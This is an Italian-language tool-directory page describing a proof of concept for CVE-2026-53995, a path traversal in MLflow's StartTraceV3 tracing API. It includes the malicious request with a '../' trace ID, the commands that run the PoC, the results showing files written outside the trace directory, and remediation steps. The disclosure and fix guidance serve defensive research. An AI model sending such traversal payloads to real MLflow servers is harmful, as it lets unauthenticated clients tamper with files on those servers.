Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-53995-mlflow-path-traversal — MLflow <=3.17.1 path traversal consente la scrittura di file di traccia al di fuori della directory prevista. | Kitploit
Strumenti/GitHubGitHub/saiteja-erukude/cve-2026-53995-mlflow-path-traversal
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPaper e Ricerca
GitHubsaiteja-erukude/cve-2026-53995-mlflow-path-traversal

CVE-2026-53995-mlflow-path-traversal

MLflow <=3.17.1 path traversal consente la scrittura di file di traccia al di fuori della directory prevista.

Vedi Repository
128 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    352
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    291

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-53995: Path Traversal in MLflow <= 3.17.1 StartTraceV3

Gravità: Alta, CVSS 3.1 8.2

Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Interessato: versioni di MLflow <= 3.17.1 quando si utilizza il backend di tracking FileStore

Componente: MLflow Tracing API, StartTraceV3 / FileStore.start_trace()

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), CWE-23 (Relative Path Traversal), CWE-73 (External Control of File Name or Path)

Scoperto e segnalato da: Sai Teja Erukude


Riepilogo

MLflow accetta un trace_info.trace_id controllato dal client tramite l'API di tracing StartTraceV3. Quando il backend di tracking è FileStore, questo ID viene utilizzato nella costruzione del percorso del filesystem senza rifiutare segmenti di traversal come ../.

Un attaccante può inviare un trace ID come ../../../escaped-trace-dir per sfuggire alla directory dei trace dell'esperimento prevista. MLflow crea quindi file relativi ai trace nella directory risolta al di fuori dell'albero di archiviazione dei trace.

Impatto

Quando l'endpoint di tracing è esposto senza autenticazione o restrizioni di accesso, un client non autenticato può influenzare la posizione nel filesystem dei file di trace controllati da MLflow su un server basato su FileStore, in base ai permessi del filesystem del processo del server. Il PoC incluso utilizza il client di test locale di Flask; non verifica l'esposizione di rete o la configurazione di autenticazione di un deployment.

Il PoC dimostra scritture al di fuori della directory dei trace dell'esperimento prevista:

  • trace_info.yaml, contenente informazioni sul trace fornite dal client.
  • request_metadata/poc_metadata, contenente metadati controllati dall'attaccante.
  • tags/poc_tag, contenente un valore di tag controllato dall'attaccante.

Ciò influisce sull'integrità consentendo ai dati della richiesta di controllare dove vengono scritti i file relativi ai trace. Directory e file inattesi al di fuori dell'albero di archiviazione dei trace possono anche causare un impatto limitato sulla disponibilità. La scrittura dimostrata utilizza i formati e i nomi dei file di trace di MLflow; non stabilisce contenuti arbitrari dei file, esecuzione di codice o un impatto sulla riservatezza.

Il report assegna le seguenti metriche CVSS 3.1:

MetricaValore
Attack Vector (AV)Network (N)
Attack Complexity (AC)Low (L)
Privileges Required (PR)None (N)
User Interaction (UI)None (N)
Scope (S)Unchanged (U)
Confidentiality (C)None (N)
Integrity (I)High (H)
Availability (A)Low (L)

Dettaglio tecnico

Il percorso della richiesta vulnerabile è:

POST /api/3.0/mlflow/traces
  -> _start_trace_v3()
  -> TraceInfo.from_proto(...)
  -> FileStore.start_trace(trace_info)
  -> filesystem path construction using trace_info.trace_id
  -> directory creation and trace information, metadata, and tag writes

La richiesta fornisce l'ID all'interno di trace.trace_info:

{
  "trace": {
    "trace_info": {
      "trace_id": "../../../escaped-trace-dir",
      "trace_location": {
        "type": "MLFLOW_EXPERIMENT",
        "mlflow_experiment": {
          "experiment_id": "0"
        }
      },
      "trace_metadata": {
        "poc_metadata": "attacker-controlled metadata"
      },
      "tags": {
        "poc_tag": "attacker-controlled tag"
      }
    }
  }
}

Questo estratto mostra i campi rilevanti per la traversata. Il runner costruisce la richiesta completa, inclusi lo stato della traccia, il timestamp e i campi di anteprima.

L'ID controllato dal client produce la seguente risoluzione del percorso relativa alla directory del PoC:

Expected trace storage: mlruns/0/traces/
Supplied trace ID:      ../../../escaped-trace-dir
Joined trace path:     mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path:   escaped-trace-dir/

La risposta salvata restituisce HTTP 200 e preserva l'ID di traccia malevolo. I file risultanti si trovano accanto a mlruns/, al di fuori della directory di traccia dell'esperimento prevista.

Proof of Concept

run_poc.py costruisce una richiesta StartTraceV3 malevola, configura un FileStore locale, invoca la route HTTP reale di MLflow tramite il test client di Flask e registra la risposta e le prove sul filesystem. Esegue la route senza avviare un server di rete in ascolto.

python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py

Per stampare il risultato leggibile dalla macchina:

python -B run_poc.py --json

Il contenuto salvato contiene questi risultati, abbreviati qui:

{
  "package": {
    "distribution": "mlflow",
    "version": "3.17.1"
  },
  "endpoint": "/api/3.0/mlflow/traces",
  "status_code": 200,
  "malicious_trace_id": "../../../escaped-trace-dir",
  "checks": {
    "http_success": true,
    "trace_info_written_outside_traces_dir": true,
    "trace_metadata_file_written": true,
    "tag_file_written": true
  },
  "success": true
}

Il runner salva:

  • evidence/start-trace-request.json: il corpo completo della richiesta.
  • evidence/start-trace-response.json: la risposta del server.
  • evidence/escaped-trace-info.yaml: una copia delle informazioni di traccia scritte al di fuori della directory di traccia.
  • evidence/summary.json: la versione del pacchetto, i percorsi risolti, il codice di stato e i risultati della verifica.

success: true e il codice di uscita 0 indicano che il path traversal è stato riprodotto. Un controllo fallito restituisce il codice di uscita 1; questo da solo non prova che una versione sia corretta.

Il payload scrive dati di traccia dimostrativi sotto escaped-trace-dir/ all'interno della directory del PoC. Il runner scrive anche mlruns/ e evidence/; rieseguirlo sostituisce le evidenze salvate. Usa una copia pulita quando raccogli nuovi risultati, poiché il runner verifica la presenza di file che potrebbero già esistere da un'esecuzione precedente. I percorsi assoluti nelle evidenze salvate identificano l'ambiente di riproduzione originale e saranno diversi in un nuovo checkout.

È incluso un video dimostrativo locale.

Remediation

Convalida gli ID di traccia al confine del FileStore prima di costruire percorsi o creare directory:

  • Applica una rigorosa allow-list per gli ID di traccia usati come componenti di percorsi filesystem.
  • Rifiuta separatori di percorso, segmenti di traversal, percorsi assoluti e percorsi di unità Windows, indipendentemente dalla piattaforma del server.
  • Risolvi la directory di traccia dell'esperimento e verifica che rimanga all'interno della directory dell'esperimento.
  • Risolvi la directory di traccia finale e verifica che rimanga all'interno della directory di traccia dell'esperimento, anche in presenza di link filesystem esistenti.
  • Riusa gli stessi controlli di convalida e di contenimento per le operazioni correlate di ricerca, scrittura, percorso degli artefatti ed eliminazione del FileStore.
Scarica lo strumento